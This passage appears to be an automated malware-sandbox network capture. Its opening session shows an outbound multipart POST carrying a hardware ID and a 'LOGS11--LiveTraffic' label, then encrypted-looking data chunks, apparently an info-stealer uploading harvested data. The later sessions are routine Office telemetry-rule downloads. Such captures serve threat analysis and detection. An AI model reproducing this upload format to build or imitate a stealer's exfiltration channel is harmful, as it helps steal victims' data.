2024-11-23 17:23:01 UTC	15331	OUT	Data Raw: 2d 2d 58 50 58 30 49 58 45 32 4f 37 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 45 35 36 46 32 43 39 45 45 36 39 46 46 44 34 38 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 58 50 58 30 49 58 45 32 4f 37 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 58 50 58 30 49 58 45 32 4f 37 4e 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 58 50 58 30 49 58 45 32 4f 37 4e Data Ascii: --XPX0IXE2O7NContent-Disposition: form-data; name="hwid"E56F2C9EE69FFD48D7CBBD6DF28D3732--XPX0IXE2O7NContent-Disposition: form-data; name="pid"1--XPX0IXE2O7NContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--XPX0IXE2O7N
2024-11-23 17:23:01 UTC	15331	OUT	Data Raw: 94 af 83 6d 6e 7f af 53 f3 ae ea 1f 22 39 20 71 69 84 39 71 ca 15 51 a5 9f ea bd 62 eb 2b d4 ae b5 52 5e 51 c8 1e e8 b7 12 f9 98 44 5f db bc 17 56 a7 f4 af 22 86 ae c3 aa 36 2d bc f6 a7 83 36 7a fb d5 18 21 3f 61 f1 4e c3 c8 8a 36 d3 62 aa 89 a3 af f1 e6 17 b4 e6 67 eb a3 11 ea 63 88 e1 87 be 61 63 c4 1f 8f 70 0b f1 60 04 d5 3a c1 9b 3f ba 87 61 14 b7 73 57 9a 74 0d 22 b1 1f e9 5f 3b 43 e8 3d 10 05 fb 48 ce 08 31 98 a8 d3 93 eb 62 3d 05 03 11 4c 11 92 ba fe a4 11 c0 d8 1e 2b c3 9d a2 d0 1c e5 8d 0d 22 c2 ed 08 2f 13 ad 55 19 3d 4b 16 70 f4 77 78 5b 48 70 4b 12 d3 83 82 1f 71 6f 47 68 7e be 31 62 1b ab 31 a2 fc ba f3 0a 2b e3 8a 35 db 8e 21 13 cb b9 ed f3 6c 16 be 97 7c ec e6 ab 6a 1f 30 aa 9d 6f 41 96 f9 bc bb fe 9c 3f 91 a4 44 55 1c 0c 14 98 a2 e5 6a 39 Data Ascii: mnS"9 qi9qQb+R^QD_V"6-6z!?aN6bgcacp`:?asWt"_;C=H1b=L+"/U=Kpwx[HpKqoGh~1b1+5!l\|j0oA?DUj9
2024-11-23 17:23:01 UTC	15331	OUT	Data Raw: d6 9a f4 03 77 57 fc ed 06 9b 8c 97 71 db d2 65 a2 10 07 cf 33 9f eb 3c 2a 41 a8 33 2e e5 e2 39 b2 2b 17 9f 0d 5b 6e bb df 9a 7b c6 61 f2 a9 85 ac 15 d0 ba d7 9d 9e 06 13 50 3f 9e d3 7d 04 af 7e 58 fe b6 cf 61 f3 10 d7 78 bc a2 b8 f4 12 c6 d2 f6 f5 9f 8a bc 26 e3 d9 81 b3 e4 b4 85 dc ea 05 1b d6 24 99 57 56 c1 1e 0a 1a ac af d9 2a 0a 0a 1c dd ad e7 3a 14 7e 1f 62 1a 8b 72 bb 06 8f 8c f8 f9 7f de 48 8b ba 61 0f d7 dc e1 fd 3c c8 7e 92 76 6f 57 70 45 f4 39 7f cf 2f b3 f1 ea 5e 4b a1 ea f9 7a ce de 0e 89 36 b7 cf 06 b7 ef 5b 70 9c 9e d0 28 2f eb dd 29 19 fd 2d ef d4 00 71 a8 d2 04 54 f4 3e fd 70 57 c3 e9 5e 51 d0 48 8b 93 57 0d 27 9b ec 4d 4c 65 87 94 5c 5f 7f 64 04 b6 d7 1f 54 69 03 a7 e0 ce 0f 76 45 ff 7d e8 5f 8c 0f ba 3e 18 c4 7a ae 73 0f d1 ec d9 ca 7f Data Ascii: wWqe3<A3.9+[n{aP?}~Xax&$WV:~brHa<~voWpE9/^Kz6[p(/)-qT>pW^QHW'MLe\_dTivE}_>zs
2024-11-23 17:23:01 UTC	15331	OUT	Data Raw: 06 eb 3e 5d 49 20 d9 c9 3c 1f 4e 20 f2 77 41 01 71 a8 c6 71 d6 14 8b 1c 1d 87 86 52 57 5c b3 19 d3 fa c5 2b d8 77 0a d6 ce 15 ea a0 49 32 6c dd 50 9e 60 61 d4 51 d2 e8 5a e2 a3 cd c5 2c bc d0 bb 36 95 67 d4 8d ac 5f 3c 24 bc 76 be db 35 2b 63 a0 0e 5b 58 ca b7 22 03 12 ff 28 f8 a1 2e 81 26 d7 12 19 74 57 2a a2 fb a1 69 10 cf d6 9d 9c 04 b2 69 88 e7 8a 6a 56 46 2d a9 94 73 cb 81 d8 95 7b 05 b8 3d f3 3f ad 36 52 32 6a f0 36 d5 64 d4 f3 c2 53 22 f5 7b 85 c1 13 93 64 e3 57 83 92 8e 56 2e 87 c8 cd 05 df 5c 78 90 1b ea 42 79 db 05 55 79 1f 79 b4 b4 93 d9 76 38 f4 58 41 b4 55 8c 50 92 5a 91 aa bb 72 27 fd b1 e2 4b be a0 a3 5a 4c e5 68 f3 6d 45 92 d5 72 cf 97 50 46 9b 47 7f 2e ca da ee df f6 57 23 3f bd 72 d0 73 41 a3 b7 38 9b 16 0f 03 d9 2b 0e 46 7a 83 d5 87 3d Data Ascii: >]I <N wAqqRW\+wI2lP`aQZ,6g_<$v5+c[X"(.&tW*iijVF-s{=?6R2j6dS"{dWV.\xByUyyv8XAUPZr'KZLhmErPFG.W#?rsA8+Fz=
2024-11-23 17:23:01 UTC	15331	OUT	Data Raw: 61 78 b1 9f 8b 0d bf 99 af 4e d8 13 4f 2f c5 47 69 80 fb e7 b4 99 56 27 8c 74 ef 72 c6 11 8c dd dc 99 4a ac 32 ef a2 0c 4e a3 d2 04 1f 9c 85 1b 8d 57 f0 b5 15 d6 26 6a 4e 59 d5 04 74 88 90 d2 85 25 57 75 e3 e6 0d 55 f9 4c 53 da fd dd 8c ac dc 82 f4 d3 64 b7 3e 2a cf 4e b1 fd 8b 53 c8 f5 73 1e ec 5f ae a2 08 c2 df bb 4f 09 ae 1b 17 5d 33 a2 69 c1 2d 24 86 d1 31 48 72 a9 64 85 83 45 f7 f0 35 6b ab b5 ae 18 8e 81 73 93 c9 13 ec 51 49 47 b6 a0 09 c9 9e 47 a4 fc 55 5b c2 7b c7 96 c5 c8 65 90 99 26 9a 3b 47 7f 62 ae 9e 7e 96 db f1 ac 0b 9c f1 aa 34 39 44 a6 12 ae c6 a3 5a 84 ff 83 81 2d af 11 16 4c c1 d5 88 92 c6 8d 8d e5 7e 3f 92 0c 92 2c c9 8f c3 d5 d6 df ae 20 df 37 6e a8 0e cb de 23 4f ce 67 f3 26 6d 4b 09 5e f8 7b 1f ad 14 a2 54 d0 31 ed 4f a3 b1 80 74 fb Data Ascii: axNO/GiV'trJ2NW&jNYt%WuULSd>*NSs_O]3i-$1HrdE5ksQIGGU[{e&;Gb~49DZ-L~?, 7n#Og&mK^{T1Ot
2024-11-23 17:23:01 UTC	15331	OUT	Data Raw: 32 b8 f2 8d 22 dc 71 7a 16 4f 18 db 1a df 68 6a 88 f5 b3 5d 75 e2 a7 ce ba f7 c3 de 82 23 87 22 21 f6 d8 7a d5 e3 5c 30 97 00 33 05 15 e6 c7 77 53 fb 9a d6 98 68 05 d2 3e 89 cc 53 4e 7d 6a 29 fc 87 82 dc 76 0c 4c ca 87 1e 5a 40 ad 09 7c 32 8c c0 2a 4b 88 be 8f 89 df 63 d2 c8 9f e7 e9 f4 ab 77 2d 18 e3 9d d0 9a 9e cb 69 13 a9 2b 5d 0f 9c 69 6c 58 af 47 c3 4a 34 57 fb c8 1e 99 cc cb 0a 5f 5d 10 be 1e ee 7a 2c 27 71 a5 b6 2b fb 49 54 d1 5a 18 ae 66 ef 32 7f 4e 3a 39 4e 88 5a 00 16 76 df a5 b6 fd 57 2b e1 a4 8e af 70 50 bf 4d bf 87 5d 90 c5 dc 49 90 77 b5 8f d2 ad 92 ca f6 59 3a f1 3a 70 cb 4f b1 e3 2e 8a 43 15 f1 4f e0 df f9 f8 0f 25 f1 58 32 b8 6d 98 cd 6a 68 ec 55 b9 c0 ff f1 3c 95 60 23 79 0d ba f2 5b f2 94 93 36 ce 4b 7e af 63 ac 70 d4 08 02 bb 72 4f 9a Data Ascii: 2"qzOhj]u#"!z\03wSh>SN}j)vLZ@\|2*Kcw-i+]ilXGJ4W_]z,'q+ITZf2N:9NZvW+pPM]IwY::pO.CO%X2mjhU<`#y[6K~cprO
2024-11-23 17:23:01 UTC	15331	OUT	Data Raw: d3 e2 37 99 15 18 4b 5f c0 e9 b1 b3 1f 54 52 9f dc 5e dd f7 60 e5 06 bd 91 52 c0 ee 80 5e 9c 34 d1 9a dd 68 ec ae ed 0e a1 a3 df a3 35 f7 2b 6a de 01 d9 7e 2f 0c af 7e 0c 0f 14 7c 74 04 03 93 43 15 1b 45 84 86 9e d3 e3 be 29 68 ef 69 28 ed 29 99 9e dd 63 a2 ae a0 04 5e a3 2d 47 21 d4 67 cf b8 69 43 7e 30 3e 12 4e 6f 1a d3 a8 a7 7e 3f 4a 9d cd d5 64 0b 53 64 5b 1c 83 92 29 c2 14 3b f9 50 09 70 f2 4d 2e 5b b7 0a 29 35 35 7e d0 5c 97 90 fb 4b f8 fc 62 c5 4f 52 b4 e6 83 49 21 e5 b7 f4 13 b2 c1 7c 0b 24 fe 1a 23 84 6a 5f dd 15 e5 c3 3b 0b c1 b7 70 14 b3 de d0 bf 1c 4a 96 93 84 52 d3 97 52 a9 55 88 e3 b9 ac 18 4a fe fd 9d 0a b0 ce ba 36 d2 a0 e3 86 11 2b f2 39 43 02 94 fd fd 7c b6 85 51 44 3f 6f ce 5e fe eb 05 66 35 78 43 1a 51 44 5e 08 27 8a 21 d5 4e 61 4b 9e Data Ascii: 7K_TR^`R^4h5+j~/~\|tCE)hi()c^-G!giC~0>No~?JdSd[);PpM.[)55~\KbORI!\|$#j_;pJRRUJ6+9C\|QD?o^f5xCQD^'!NaK
2024-11-23 17:23:01 UTC	15331	OUT	Data Raw: 7e bd 37 e6 01 4d 7e a5 4d d2 2f 73 3a a0 87 11 a2 4c 89 4a d0 12 af 92 80 b5 c8 55 5b 05 0b be 89 07 a4 fd d7 48 1c ff 12 80 6e 01 5e 42 64 9f dd 10 d1 19 86 9d a8 ba fb be c8 55 a5 c4 ed 0d 04 4f 22 23 f2 2a c7 cb 3a 76 66 1c 37 2f 07 45 a0 76 66 1e c3 14 ac ae 23 fd f4 75 16 63 2e 54 11 9e 7d 9a cf 15 06 f5 f3 7f 17 11 e5 88 fd e7 44 98 af aa ad f0 54 82 d8 70 b3 eb 8c 08 98 6a 83 52 94 80 d2 2d e3 f6 5f 78 35 a1 05 01 32 86 8d 75 20 8e 21 14 d9 c1 c3 f3 cd 7c cf 67 a9 1a fb 29 83 55 f4 ac cc fa ad 44 d8 2c 00 1f 57 15 26 32 20 05 58 0d 2d 30 57 6a f0 75 e2 6d 5c 94 18 78 6d 44 68 43 a5 3f e4 3e 3c ab c2 70 41 30 b6 6b fd 12 fe f2 e7 cc f0 78 fd 3a b7 30 fc 41 43 20 c9 b6 65 f7 af 55 da e7 67 2d 65 de 57 fd b6 80 1d fd ff bd a0 5d 5c 0d 50 fa cf 08 78 Data Ascii: ~7M~M/s:LJU[Hn^BdUO"#*:vf7/Evf#uc.T}DTpjR-_x52u !\|g)UD,W&2 X-0Wjum\xmDhC?><pA0kx:0AC eUg-eW]\Px
2024-11-23 17:23:01 UTC	15331	OUT	Data Raw: 69 d9 48 1c aa c9 29 70 49 fa 7f d2 5f 07 f4 77 15 bc fb ff b9 13 72 33 95 7e 1f 7c d3 60 e3 2e 47 89 da d1 a8 84 ed 45 64 72 39 4a da d7 67 77 fd ad 80 b8 cc 56 11 be cb 55 b5 e5 22 ee c6 99 a8 14 df bf 7d e2 fd 74 40 ef 90 d5 9f ff eb 1c 88 75 ad c8 13 e2 55 5c 8e e5 0f 87 97 48 c6 0f 5f 7b 61 ee ff 16 af ef 94 06 5d d0 64 31 04 50 33 85 4b bc d2 8b b7 4d 27 d6 f8 b6 b4 dd 82 56 54 fd 53 54 4c 7b d2 38 4c 9f bd 08 ae 9d 0c 44 a8 8c 85 2d d7 65 2d 20 2d cb c1 e8 da 3b d1 fb 2a 0c 29 d4 4b 15 46 da 52 9c 97 16 53 11 d5 c3 f7 33 5a 19 39 cf 14 e3 2f cb 87 d2 ee d5 1e ac 48 aa 7d 24 75 a7 c7 cb df 16 5a 9c e0 3c 9b 4e 1a d1 9d df 85 db 06 7e f5 93 10 64 df d5 1f 37 98 a7 f6 6c 76 52 8e ec 42 37 e5 68 91 95 46 aa 02 91 57 4f 13 93 04 57 4e de 75 6b 5d ad 33 Data Ascii: iH)pI_wr3~\|`.GEdr9JgwVU"}t@uU\H_{a]d1P3KM'VTSTL{8LD-e- -;*)KFRS3Z9/H}$uZ<N~d7lvRB7hFWOWNuk]3
2024-11-23 17:23:01 UTC	15331	OUT	Data Raw: e7 23 f1 0a 9b 49 5d 55 c6 ab 1d 14 d8 44 22 8e b0 60 ff 15 6c 23 6c 3b f8 e1 2e 05 c1 90 60 22 fb 91 f5 cf 54 09 ac b7 48 6d 03 96 0d 20 6e f6 42 8d 81 63 22 a4 c0 48 c5 ca dd a1 5f 9b 50 ab 11 c9 d3 74 e2 e8 8e 1f 36 e1 9c e5 54 1b 04 7f 9a e7 a7 85 95 19 76 95 4e 5e 45 67 d9 1b 6e 7f 99 12 af 6c bd 33 89 76 46 81 b7 f1 f7 55 eb c0 52 76 eb c0 fa 50 7a 58 26 a0 27 45 68 c7 85 b7 6d 04 69 92 ab c7 f1 ec 38 6f 60 2e 0a ba 4d b9 bb 58 61 34 de eb 8f e7 56 57 e7 0a 1e e7 65 bc 03 84 eb ac a2 8c b2 af d3 19 8b 94 fc 49 e0 bc ce d8 98 fb 8b 96 2e 0b a2 05 44 85 2d 25 57 0e 3c 10 e5 ea 95 fc e5 ad b1 fc a6 69 fd 9f 7d 37 fe e3 25 fd 2c 67 61 fb 1f d8 25 06 9e 7d 90 36 5b dc bf 62 57 12 fa 7d 8d 3d f3 28 28 ff 63 dc 13 da a7 0d f6 b0 ee 5c c5 fd e9 fe c8 6a c7 Data Ascii: #I]UD"`l#l;.`"THm nBc"H_Pt6TvN^Egnl3vFURvPzX&'Ehmi8o`.MXa4VWeI.D-%W<i}7%,ga%}6[bW}=((c\j
2024-11-23 17:23:09 UTC	1017	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:23:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=r22tur2693ssl5ti6pnsa47can; expires=Wed, 19-Mar-2025 11:09:47 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=v4iOdBX1OcMIhtDgJNFqxzvhjuT1dUusYuTKIz28E3BqRnh4auDVuLPNjibkXWgVgw6apJFjFeHLGfXAo1ZCQyGmMRMisC7CcUMHYTQ2mqAEm%2BO9EF5keJXHjN2Xz5FDZkfAa0Y%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e72d83eac940f84-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1535&sent=380&recv=512&lost=0&retrans=0&sent_bytes=2845&recv_bytes=574929&delivery_rate=1851616&cwnd=242&unsent_bytes=0&cid=24c9f5b53e7ccdaf&ts=7971&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.4	49915	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:23:01 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:23:02 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:23:01 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 7b3b97af-701e-003e-795c-3d79b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172301Z-178bfbc474bh5zbqhC1NYCkdug00000004p000000000d1dg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 17:23:02 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.4	49916	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:23:01 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:23:02 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:23:02 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 26bf21ad-f01e-001f-285c-3d5dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172302Z-15b8b599d88m7pn7hC1TEB4axw000000037000000000f50m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 17:23:02 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.4	49918	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:23:03 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:23:04 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:23:04 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 39e7be55-101e-008d-7d03-3d92e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172304Z-178bfbc474bpnd5vhC1NYC4vr400000004vg0000000022ez x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 17:23:04 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.4	49919	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:23:03 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:23:04 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:23:04 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: e8d3758b-d01e-0066-2757-3cea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172304Z-15b8b599d88phfhnhC1TEBr51n00000003cg000000007349 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:23:04 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.4	49926	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:23:03 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 17:23:05 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 17:23:04 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: 852b0afa-d01e-00a1-0e9b-3b35b1000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T172304Z-174c587ffdf59vqchC1TEByk6800000003ag00000000hb3c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 17:23:05 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.4	49928	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 17:23:04 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
